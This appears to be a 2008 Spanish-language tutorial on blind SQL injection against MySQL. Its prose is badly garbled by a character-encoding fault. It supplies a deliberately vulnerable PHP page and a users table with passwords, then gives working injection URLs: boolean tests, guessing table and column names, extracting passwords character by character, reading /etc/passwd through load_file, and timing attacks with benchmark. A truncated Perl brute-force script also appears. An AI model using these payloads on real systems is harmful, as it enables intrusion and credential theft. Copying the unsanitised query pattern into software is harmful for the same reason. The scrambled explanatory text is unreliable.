Autor: ka0x <ka0x01[at]gmailcom! Colaboradores: " #ike$ <%ike$0x&0[at]gmailcom! " '(ll)a*e0+ <n(ll,a*e0+[at]gmailcom! ndice: 0x01- Int$od(ccin 0x0.- Ta/la de la 0B y a$c1i*o *(lne$a/le 0x02- 3om%$o/ando si el se$*ido$ es *(lne$a/le 0x04- Sacando in5o$macin 0x06- Sacando n7me$o de $egist$os de la ta/la 8(se$s8 0x09- B(scando los nom/$es de las col(mnas 0x0+- Leyendo datos de la col(mna : %0c 0x0;- load<5ile en inyeccin a ciegas 0x0&- La 5(ncin /enc1ma$k 0x01: Introduccin Los administ$ado$es desacti*an S=>)<?@@>@S y S=>)<)A@'I'BS %a$a C(e no se m(est$en %osi/les e$$o$es %$o*ocados en el inte$%$ete SQL ?stos e$$o$es se (tiliDan en los ataC(es SQL Injection %a$a o/tene$ in5o$macin so/$e la /ase de datos ?n Blind SQL Injection %odemos ataca$ sin necesita$ esta in5o$macin Ena a%licacin ,e/ $eci/e datos desde el cliente Los datos se (tiliDan %a$a const$(i$ (na cons(lta a la /ase de datos y ext$ae$ in5o$macin ?n los ataC(es de SCl Injection no$malesF c(ando en*iamos cons(ltas SQL en la a%licacin *(lne$a/le nos im%$ime el $es(ltadoF %e$o en Blind SQL Injection no nos im%$ime nada Ginyeccin a ciegasH A %a$ti$ de si m(est$a in5o$macin o si no m(est$a in5o$macin inyectamos *alo$es T$(e o Ialse GLgica BooleanaH 0x02: Tabla de la DB y archivo vulnerable. Tabla: -- Table: users -- by ka0x - D.O.M -- Blind SQL Injection Paper CREATE TABLE `users` ( `id` int(10) unsigned NOT NULL auto_increment, `name` varchar(50) NOT NULL, `password` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- users -- INSERT INTO `users` VALUES (1, 'administrator', '1234%&_'); INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd'); INSERT INTO `users` VALUES (3, 'bush', 'terrorist'); -- eof -- mysql> use blind; Database changed mysql> select * from users; +----+---------------+------------+ | id | name | password | +----+---------------+------------+ | 1 | administrator | 1234%&_ | | 2 | ka0x | t3st_bl1nd | | 3 | bush | terrorist | +----+---------------+------------+ 3 rows in set (0.00 sec) mysql> Archivo vulnerable: <?php # ---- CONFIG ----- $host = 'localhost'; $dbuser = 'root'; $dbpass = 'password'; $dbname = 'blind'; # ----------------- echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>"; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM users WHERE id=".$_GET['id']; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){ die('No hay columnas'); } $result=@mysql_fetch_row($query); echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br>< br>"; echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>"; echo "<font color='#FF0000'>username: </font>".$result[1]."<br>"; // echo "Password: ".$result[2]."<br>"; echo "</h2></center>"; die(); ?> 0x0: Co!"robando si el servidor es vulnerable http://localhost/blind.php?id=1 AND 1=1 ?n este ejem%lo most$amos *alo$ t$(eF si la a%licacin es *(lne$a/le nos de/e$Ja im%$imi$ el $es(ltado C(e esta asignado Gel (se$<id y el (se$nameH http://localhost/blind.php?id=1 and 1=0 Kalo$ 5alsoF si la a%licacin es *(lne$a/le no nos de/e$Ja de most$a$ nada 0x0#: $acando in%or!acin & 'uncin C()*T: 0e*(el*e (n contado$ con el n7me$o de 5ilas $ec(%e$adasF contengan o no *alo$es 'ELL mysql> use blind; Database changed mysql> select COUNT(*) from users; +----------+ | COUNT(*) | +----------+ | 3 | +----------+ 1 row in set (0.00 sec) mysql> KeamosF *amos a /(sca$ la ta/la donde estLn los (s(a$iosF Mcomo se llama$aN #$o/emos 8admin8 como nom/$e de la ta/la 1a/e$ si existe http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM admin) BienF al no existi$ la ta/la 8admin8 nos da$L (n *alo$ 5also y no se most$a$a en la %Lgina nada http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) Al existi$ la ta/la O(se$sPF nos da (n *alo$ *e$dade$o y se m(est$a en la %Lgina lo C(e este asignado 0x0+: $acando n,!ero de re-istros de la tabla .users. A1o$a *e$emos como saca$ el n7me$o de $egist$os C(e tiene la ta/la 8(se$s8 http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) > 4 3omo la ta/la tiene 2 $egist$os nos da$L (n *alo$ 5alseF o sea no most$a$L nada / 0 #1 http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) = 3 ?n este caso nos da$L (n *alo$ t$(eF ya C(e la ta/la tiene 2 $egist$os 0x02: Buscando los no!bres de las colu!nas http://localhost/blind.php?id=1 AND(SELECT Count(username) FROM users) 3omo no existe la col(mna O(se$namePF e5ecti*amente nos da (n *alo$ 5alse http://localhost/blind.php?id=1 AND(SELECT Count(password) FROM users) Al existi$ la col(mna %ass,o$dF nos da (n *alo$ t$(e y nos m(est$a en contenido asignado Bien ya tenemos el nom/$e de (na col(mnaF solo tend$Jamos C(e i$ %$o/ando y /(scando ot$as 0x03: 4eiendo datos de la colu!na http://localhost/blind.php?id=1 AND (SELECT length(password) FROM users where id=1) > 9 Al tene$ la cont$aseQa + ca$acte$esF nos de*ol*e$L (n *alo$ IALS? http://localhost/blind.php?id=1 AND (SELECT length(password) FROM users where id=1) = 7 3omo la cont$aseQa tiene + ca$acte$esF nos de*ol*e$L (n *alo$ T@E? & 4a %uncin 45*6T7 de*(el*e la longit(d de la cadena st$F medida en /ytes & 4a %uncin $)B$T8I*6 se (sa %a$a ext$ae$ (na s(/cadena de ot$a cadenaF es%eci5icando la %osicin del %$ime$ ca$Lcte$ y el n7me$o de ca$acte$es C(e se desean ext$ae$ 59e!"lo $)B$T8I*6: mysql> select SUBSTRING('ka0x',3); +---------------------+ | SUBSTRING('ka0x',3) | +---------------------+ | 0x | +---------------------+ 1 row in set (0.00 sec) mysql> 0x03a: 4eiendo re-istros de la tabla http://localhost/blind.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),1,1))=49 ASCII 49 = 1 3omo la cont$aseQa del (s(a$io em%ieDa %o$ 1F nos de*ol*e$L (n *alo$ t$(e Ra tenemos el %$ime$ ca$Lcte$ de la cont$aseQa http://localhost/blind.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),2,1))=50 ASCII 50 = 2 T@E?F ya tenemos el seg(ndo ca$Lcte$ de la cont$aseQa y asJ se$ia todo el $ato 1asta da$ con la cont$aseQa com%leta #a$a 1ace$ todo este %$ocesoF lo aconseja/le se$ia %$og$ama$ (n %eC(eQo sc$i%t %a$a sim%li5ica$ el %$oceso ya C(e si la cont$aseQa tiene 10 ca$acte$es o mLsF imagJnense lo C(e %odemos ta$da$ en conseg(i$ con la cont$aseQa ente$aF %o$ ello aC(J *a el ejem%lo- #!/usr/bin/perl -W
# Blind MySQL Injection Paper # example brute force
# -- OPCIONS -- my $MAX_FIELD_LENGTH = 200 ; my $EXIT_IF_NO_CHAR = 1 ; my $DEFAULT_THREADS = 15 ; my $DEFAULT_THREADS_TIMEOUT = 30 ; my @ascii = ( 33 .. 123 ) ; my $DEFAULT_THREADS_TIME = 1 ; # ---
__END__ Imagen- 0x0:: load;%ile en inyeccin a cie-as La 5(ncin load;%ile lee 5ic1e$os del se$*ido$ y nos m(est$a s( contenido como (na cadena #o$ de5ecto el (s(a$io $ootSlocal1ost %(ede (sa$ esta 5(ncin y ot$os (s(a$ios con %$i*ilegios IIL? #o$ ejem%lo si C(e$emos lee$ el 5ic1e$o TetcT%ass,d- http://localhost/blind.php?id=1 and substring(load_file(0x2f6574632f706173737764),1,1)=CHAR(144) 3omo todos los TetcT%ass,d em%ieDan %o$ 8root:x:08 %(se 3=A@G144H U $ y e5ecti*amente nos ti$a (n *alo$ T@E? #a$a este %$oceso tam/in *end$Ja de ay(da $ealiDa$ (n sc$i%t C(e $ealiDa$Ja esta 5(ncin ya C(e %od$Jamos esta$ meses %a$a saca$ el TetcT%ass,d 0x0<: 4a %uncin bench!ar= La 5(ncin bench!ar= gene$a (n $eta$do de tiem%o 3omo las a%licaciones con Blind SQL Injection no de*(el*en e$$o$es entonces no %odemos dete$mina$ si la a%licacin ,e/ es *(lne$a/le o no ?n estos casos es (til %a$a (n atacante 1ace$ (na cons(lta a la /ase de datos %a$a %a(sa$ %o$ ejem%lo en 6 seg(ndos #a$a C(e lo entiendan mejo$F 1ice (nas %$(e/as en mi local1ost- mysql> select benchmark(20000000, md5('ka0x')); +----------------------------------+ | benchmark(20000000, md5('ka0x')) | +----------------------------------+ | 0 | +----------------------------------+ 1 row in set (45.80 sec) mysql> 3alc(la el 1as1 md6 Gka0xH .0000000 de *eces ?l tiem%o C(e ta$do son 46;0 seg(ndos Gen esto de%ende el %$ocesado$H AsJ C(e si esta$Jamos %$o/ando 1a/e$ si es *(lne$a/leF la ,e/ gene$a$a (n $eta$do en la solicit(d de 46;0 seg(ndos 59e!"lo: http://localhost/blind.php?id=1/**/AND/benchmark(20000000,md5(0x6b613078)) ?n m(c1os ex%loits %odemos *e$ C(e en *eD de /(sca$ alg(na %ala/$a en la %Lgina )e/ *(lne$a/le %a$a *e$ si la cons(lta es co$$ectaF (san la 5(ncin /enc1ma$k %a$a c$ea$ (n $eta$do en la cons(lta de V seg(ndos Si la )e/ ta$da V seg(ndos en $es%onde$F g(a$damos el ca$Lcte$F si no ta$da el tiem%o %$e*istoF /(scamos ot$o ca$Lcte$ MLs in5o$macin so/$e esta 5(ncin- http://www.milw0rm.com/papers/149 __EOF__ B(eno es%e$o C(e les 1aya g(stado este %eC(eQo %a%e$ y C(e 1ayan $es(elto alg(nas de las d(das C(e tenJan Se lo dedico a mis colegas y a todos los inte$esados %o$ la seg($idad in5o$mLtica 3(alC(ie$ d(da C(e tengan $es%ecto a este tema %(eden contacta$ conmigo en*iLndome (n email a ka0x01[at]gmailcom En sal(do TT ka0x